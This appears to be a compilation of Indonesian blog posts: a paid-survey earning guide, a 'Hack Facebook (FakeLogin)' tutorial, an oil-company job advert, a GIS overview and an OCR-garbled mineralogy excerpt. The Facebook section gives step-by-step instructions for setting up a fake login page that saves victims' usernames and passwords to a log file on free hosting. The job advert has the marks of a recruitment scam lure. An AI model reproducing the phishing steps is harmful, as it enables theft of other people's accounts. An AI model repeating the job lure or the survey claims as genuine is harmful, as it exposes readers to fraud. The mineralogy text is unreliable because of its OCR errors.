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Thursday, August 12, 2010

AwSurveys

Awsurveys.com memberikan kemudahan bagi kita untuk memperoleh Dollar gratis melalui survey yang diberikan. Tidak perlu Ilmu yang dalam untuk mendapatkan uang dari awsurvey, anda hanya butuh sedikit waktu dan tools untuk menciptakan kesempatan mendapatkan uang dari awsurvey. Jika anda tidak memiliki kemampuan berbahasa inggris, anda cukup translate aja dan copy paste ke form awsurvey. Cara yang sangat mudah untuk mendapatkan uang bukan?
Nah karena itu saya ingin berbagi dengan anda cara mendapatkan dollar melalui awsurvey.

1. Daftar Awsurvey.com
2. Klik A Free Account.
3. Isi Form Register dengan benar.
4. Dan Yang terakhir Create Free Account.

Maka anda akan masuk pada HomePage AwSurvey, tuntaskan 5 survey anda untuk mendapatkan 26 $ dengan cara klik satu persatu survey yang tersedia, kemudian klik link website yang tersedia dan jangan langsung klik kedua link websitenya, butuh jeda 5 menit untuk melangkah ke link website yang kedua pada tiap survey jiga tidak anda akan gagal mendapatkan bayaran dari AwSurvey.

Setelah anda meng-klik link website yang pertama maka akan muncul tampilan pop-up, biarkan selama 5 menit kemudian klik link website yang ke-dua, setelah itu tuliskan komentar pada from link website 1 dan 2 menggunakan bahasa inggris dan masing-masing 2-3 kalimat. Selanjutnya Anda klik submit untuk mendapatkan bayaran dari awsurvey.

Tuntaskan ke-5 survey anda dan anda akan mendapatkan 26$ dari AwSurvey, cek tiap awal pekan untuk mendapatkan survey selanjutnya, pencairan pendapatan dari awsurvey minimal 75 $ untuk reedem. so dont miss it.

Keterangan : 6 $ untuk melengkapi registrasi anda dengan melakukan survey awal,
dan selanjutnya 4 $ untuk tiap survey dan ada 5 survey anda, jadi total pendapatan awal 26 $. No Scam..

$6.00 Welcome Survey After Free Registration!

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Hack Facebook (FakeLogin)

Seperti Judul yang tertera bahwa kita akan memperaktekkan salah satu cara untuk mendapatkan account facebook orang lain (sekedar jahil) dan artikel ini hanya share, tidak memberikan informasi atau saran kepada anda untuk mencuri dan mengutak-atik akun facebook orang lain. Sebenarnya ada beberapa cara untuk menjahili facebook teman atau orang yang akan kita jahilin seperti facebook freezer, phising, fakelogin dan fakelogin aplikasi. Saya harap artikel ini tidak membuat anda benar² mencuri atau merusak akun facebook orang lain.

Setelah sedikit penjelasan dan basa-basi, sekarang saatnya saya akan terangkan membuat fakelogin. Hal yang harus kita persiapkan adalah tampilan palsu dari facebook serta script yang sudah saya siapkan download disini.
Setelah selesai download, extract file tersebut kemudian open with notepad file index.php, kemudian tekan Ctrl + F untuk menemukan action="https://login.facebook.com/login.php?login_attempt=1" nah, "https://login.facebook.com/login.php?login_attempt=1" ganti dengan "next.php" sehingga menjadi action="next.php" tujuannya agar username dan password tersebut teralihkan dari database facebook.

Selanjutnya Temukan Code form method="POST" kemudian ganti dengan form method="get"
tujuannya untuk menyimpan username dan akun anda pada databse yang telah disiapkan.


Kemudian buka file next.php dengan menggunakan notepad dan temukan kode $handle = fopen("???", "a"); lalu ganti dengan $handle = fopen("logs.txt", "a");
dan yang terakhir buat file notepad baru dengan nama logs.txt (isinya kosongkan saja) tujuannya tempat menyimpan usename dan password kemudian simpan.
Nah sekarang anda telah memiliki 3 file yaitu, index.php, next.php dan logs.txt
upload ketiga file tersebut ke hostingan anda (yang gratisan juga boleh) yang penting bisa injek php (php permission).
Setelah di upload, www.hostingananda.com/index.php telah menjadi halaman palsu (fakelogin) yang akan menjebak user yang membukanya. Simpan default browser anda dengan fakelogin anda dan rasakan hasilnya.

catatan : Pada beberapa Hostingan mengharuskan kita mengubah permission untuk tiap file yang kita upload, maka jika ada, ganti permission tiap file yang anda upload dengan 777 atau rwx (klo gak tau perhatiin aja hostingan anda, pasti ada tertera permissionnya).

Crated : Aldillah Aldy

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Thursday, May 27, 2010

JOB REQUIRED ON APRIL 2010

JOB ALERT!
Could you be the right person for this job offer? What if our judgment was wrong? You might want to try your hands on it but unfortunately we are only looking for professionals with exceptional expertise, highly spirited individuals who are ready to take up rewarding challenges in the oil and gas industry.

Aston Oil & Gas Corporation is a well established and reputable oil/gas company with rapidly growing wide network of outlets around the world; the company seeks to attract resourceful individuals craving for a refreshing opportunity with the skill of an upright superiority to a limited assistance. Aston Oil & Gas Corporation provides suitable and professional jobs to interested individual in a major oil servicing company around the globe.

JOB LOCATIONS
- Europe
- U.S.A



METHOD OF APPLICATION
- All interested candidates should reply via mail with updated Resumes (CV).
- Interested applicants must specify job location.
- Only applicants who possess the required qualifications will be short-listed when consequently contacted for interview.

Opportunity is open for matured/interested candidate with little experience who will be ready to work outside his country of resident in an oil Rig, feel free to apply!!

All Resumes should be forwarded to our Via this e-mail: h.r.d@ovi.com

HR Department
Recruitment Section
London (UK).
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Saturday, February 7, 2009

GEOGRAPHICAL INFORMATION SYSTEM (GIS)

Geographical Information Systems – Overview -- GIS have been defined as ‘automated systems for the capture, storage, retrieval, analysis, and display of spatial data’ (Clarke, 1995,p13). GIS can be used for any area or application that depends largely on geographic data ie. data that is geographically referenced or is ‘mappable’. As the scope is quite wide it is not surprising that there are many definitions as well as many acronyms (LIS, NRIS, AM/FM etc) which cover the field referred to as GIS related technologies .
Geographical Information Systems – Overview -- GIS has its origins in Geography, Cartography, Surveying and Computer Science – disciplines which deal with various aspects of geography and the associated geographic data. Its rapid development and widespread adoption over the past decade has been influenced very strongly by developments in computing in general eg. higher performance, lower cost, easier to use hardware and software and the continuous enhancement of the application capabilities of software
Over time GIS applications have become more sophisticated – changing from earlier static inventory type applications (basically, electronic versions of atlases or manual procedures) to current real time decision-support type management applications.

Topic structure
• GIS defined
• GIS applications
• GIS development
• GIS components
• Sources of information on GIS

General Definition
“A system of hardware, software, data, people, organisations and institutional arrangements for collecting, storing, analysing and disseminating information about areas of the earth (Dueker & Kjerne 1989:7-8

Definition Of Gis
“The organized activity by which people:
• Measure aspects of geographic phenomena and processes
• Represent these measurements, usually in the form of a computer database, to emphasize spatial themes, entities and relationships
• Operate upon these representations to produce more measurements and to discover new relationships by integrating disparate sources
• Transform these representations to conform to other frameworks of entities and relationships”
( Chrisman 1997:5)



A GIS as a Toolbox
"a powerful set of tools for collecting, storing, retrieving at will, transforming and displaying spatial data from the real world for a particular set of purposes. This set of tools constitutes a GIS." (Burrough, 1986:6).
Or
“tools that allow for the processing of spatial data into information, generally information tied explicitly to, and used to make decisions about, some portion of the earth.” (DeMers 1999:7)

GIS Defined by Function
“… automated systems for the capture, storage, retrieval, analysis, and display of spatial data.”
(Clarke, 1995: 13).

GIS as an Information System
"An information system that is designed to work with data referenced by spatial or geographic coordinates … a GIS is both a database system with specific capabilities for spatially-referenced data, as well as a set of operations for working with the data" (Star and Estes, 1990, p. 2).

Duecker's (1979:20) definition has survived the test of time
"A geographic information system is a special case of information systems where the database consists of observations on spatially distributed features, activities or events, which are definable in space as points, lines, or areas.
A geographic information system manipulates data about these points, lines, and areas to retrieve data for ad hoc queries and analyses" (Duecker, 1979, p 106).

Geographical Information System (GIS) … defined
– A GIS is a computer based system for the management of geographic data.
– Geographic data is any data that is geographically referenced i.e. location known.
– Information implies that data are organized to yield useful knowledge
– System implies GIS is made up of several inter-related and linked components with different functions
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MINERALOGY

COPPER-IRON-ZINC ASS EMBLAGES IN VOLCANIC ENVIRONMENTS
Mineralogy -- Major: pyrite, sphalerite, chalcopyrite; in some examples pyrrhotite or Minor: bornite, tetrahedrite, electrum, arsenopyrite, marcasite, cubanite, copper-lead-bismuth-silver-su1fosalts, cassiterite, plus many °the in trace amounts.
Mode of Occurrence -- Massive to disseminated stratiform sulfide ores in volcano-sedimentary quences ranging from ophiolite complexes (Cyprus-type deposits) felsic tuffs, vas and sub sea floor intrusions (Kuroko-type deposits) to mudstones with little immediately associated recognizable volcanic material (Bes-’deposits).

Examples -- Kuroko- and Besshi-type deposits of Japan; Timmins, Ontario; Bathurst, I Brunswick; Sullivan, British Columbia; Flin-Flon, Manitoba-Saskatchewai Noranda, Quebec; Mt. Lyell, Australia; Rio Tinto, Spain; Scandinavian C donides; Avoca, Ireland; Parys Mountain, Wales; Troodos Complex depo Cyprus; Bett’s Cove, Newfoundland; Modern Red Sea and East Pacific Rise deposits.
Mineral Associations and Textures -- The deposits range from ores in thick volcanic sequences such as the F ores of Japan and ores directly associated with a volcanic vent (Vanna L Fiji) to ores associated with ophiolite sequences (Cyprus; Bett’s Cove, I found land) to distal ores that are emplaced in dominantly sedimentary sequences (Besshi deposits of Japan) and sequences containing no recognizable volcanic (Sullivan, British Columbia). They thus grade into ores of the type described in Section 10.7. Tn spite of the different settings in which these ores are found, there are similarities among the ore types observed. Zoning within many of these deposits is recognizable and three major ore types occur; the distribu4 ton of the primary minerals in the Kuroko ores is shown in Figures 10.19 and 10.20. Although the major ore types described in the following are those corn manly observed in the Kuroko deposits, they appear in most or all of the ores of this class with only minor variation. These ores, which appear to grade into the ores described in Section 10.7, have frequently been considered in terms of
Cu-Pb-Zn ratios as shown in Figure 10.21. Plimer (1978) has suggested that a trend in ore-type from Cu-dominant to Zn-dominant to Zn-Pb-dominant corresponds to a progression in time and distance from the volcanic Source (i.e., proximal to distal in nature). Jambor (1979) has enlarged on this theme and proposed a classification of the Bathurst-area (Canada) deposits based on their established or assumed displacement from feeder conduits (proximal versus distal) and position of sulfide crystallization (autochthonous versus allochthonous).
Although the ores of the volcanic deposits are members of a continuum, several specific ore types are observed most commonly; the following is a brief discussion of these ore types.
Pyritic (= Cyprus type) These ores, associated with ophiolite complexes are composed of massive banded to fragmental pyrite with small amounts of interstitial chalcopyrite and other base metal sulfides. The pyrite is present as friable masses of subhedral to euhedral, commonly zoned, grains, as colloform banded masses, and as framboids. Marcasite is admixed• with the pyrite and often appears to have replaced the pyrite. Chalcopyrite occurs as anhedral interstitial grains and as inclusions in the pyrite; sphaleritc occurs similarly but is less abun

From mining engineering


From mining engineering


•dant. Secondary covellite, digenite, chalcocite, and bornité occur as rims on, and along fractures in, pyrite and chalcopyrite.
Siliceous Ore (==Keiko-type of Kuroko Deposits) These ores apparently rep- resent feeder veins and stock works and consist primarily of pyrite, chalcopyrite, and quartz with only minor amounts of sphalerite, galena, and tetrahedrite. The pyrite occurs as euhedral grains, subhedral granular stringers, and colloform masses. The other minerals are minor and occur as anhedral interstitial grains in pyritic masses and gangue. Scttt (pers. commun., 1980) has noted that a black siliceous ore composed of sphalerite and galena is not uncommon in Kuroko de_ts.
Yellow Ore (=Oko-type of Kuroko Deposits) This ore type is characterized in both hand sample and polished section by the conspicuous yellow color resulting from the presence of chalcopyrite interstitial to the dominant euhedral to anhedral pyrite (Figure 10.22a). Minor amounts of sphalerite, galena, tetrahedrite, and lead sulfosalts and trace amounts of electrum are dispersed among the major sulfides. In unmetamorphosed bodies, the pyrite is often quite fine (<0.1 mm), but in metamorphosed ores pyrite commonly recrystallizes to form
euhedral grains which are several millimeters across. These ores and the black ores described later commonly exhibit extensively developed clastic textures that apparently formed at the time of ore deposition or immediately thereafter as a result of slumping.
Black Ore (Kuroko-type) The black ores (Figures 10.22b and 7.4c), the most complex of the common volcariogenic ore types, were so named because of the abundant dark sphalerite within them. Galena, barite, chalcopyrite, pyrite, and tetrahedrite are common but subsidiary to the sphalerite. Bornite, electrum, lead sulfosalts, argentite, and a variety of silver sulfosalts are customary accessory minerals. The black ores are usually compact and massive but primary sedimentary banding is often visible and brecciated and colloform textures are not uncommon. In ores unmodified by metamorphism, pyrite occurs as framboids, rosettes, colloform bands, and dispersed euhedral to subhedral grains. Pyrite grain size increases during metamorphism but growth zoning is often visible either after conventional polishing or after etching. In polished sections, sphalerite appears as anhedral grains that frequently contain dispersed micron-sized inclusions of chalcopyrite. Barton (1978) has shown, by using doubly polished thin sections in transmitted light (see Figure 2.7) that this “chalcopyrite disease” consists of rods and thin vermicular, myrmekiticlike growths, probably formed through epitaxial growth or replacement. He has also shown the presence of growth-band’g and overgrowth textures in sphalerite and tetrahedrite. During metamorphism, the sphalerite is ccmmon1y recrystallized and homogenized, and the dispersed chalcopyrite is concentrated as grains or rims along sphalerite grain-boundaries.
From mining engineering

to be continue..
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